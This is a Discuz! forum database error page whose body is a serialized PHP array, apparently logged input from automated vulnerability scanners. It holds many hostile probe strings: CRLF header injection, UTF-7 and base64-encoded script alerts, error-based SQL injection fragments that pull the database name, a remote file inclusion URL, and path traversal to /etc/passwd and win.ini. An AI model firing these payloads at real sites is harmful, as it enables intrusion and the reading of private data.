Discuz! Database Error

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SomeCustomInjectedHeader:injected_by_wvs\";s:4:\"1478\";s:42:\"\n SomeCustomInjectedHeader:injected_by_wvs\";s:4:\"1478\";s:3:\"dir\";s:4:\"1478\";s:25:\"http://bbs.webscan.360.cn\";s:4:\"1478\";s:18:\"bbs.webscan.360.cn\";s:4:\"1478\";s:46:\"+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4-\";s:4:\"1478\";s:120:\"103 and(select 1 from(select count(*),concat((select (select concat(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e\";s:4:\"4135\";s:123:\"103\\\\\\\' and(select 1 from(select count(*),concat((select (select concat(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5\";s:4:\"4135\";s:121:\"103%\\\\\\\' and(select 1 from(select count(*),concat((select (select concat(0x5e5e5e,unhex(Hex(cast(database() as char))),0x\";s:4:\"4135\";s:104:\"103 and(select 1 from(select count(*),concat((select (select concat(0x5e5e5e,unhex(Hex(cast(database() a\";s:4:\"4135\";s:107:\"103\\\\\\\' and(select 1 from(select count(*),concat((select (select concat(0x5e5e5e,unhex(Hex(cast(database() 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concat(0x5e5e5e,unhex(Hex(cast(database(\";s:4:\"4135\";s:20:\"103?myuotmwjjqxbmfbt\";s:4:\"4414\";s:20:\"105?ldeihmpvqezwjcld\";s:2:\"96\";s:26:\"http://120.26.55.211/s.txt\";s:4:\"1476\";s:26:\"a_long_name_file_not_exist\";s:4:\"1476\";s:36:\"PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\";s:4:\"1476\";s:32:\"amF2YXNjcmlwdDpwcm9tcHQoMTExKTt4\";s:4:\"1476\";s:19:\"c://windows/win.ini\";s:4:\"1476\";s:39:\"../../../../../../../../windows/win.ini\";s:4:\"1476\";s:47:\"../../../../../../../../../../windows/win.ini00\";s:4:\"1476\";s:39:\"../../../../../../../../etc/passwd\n.jpg\";s:4:\"1476\";s:44:\"../../../../../../../../windows/win.ini\n.jpg\";s:4:\"1476\";}}'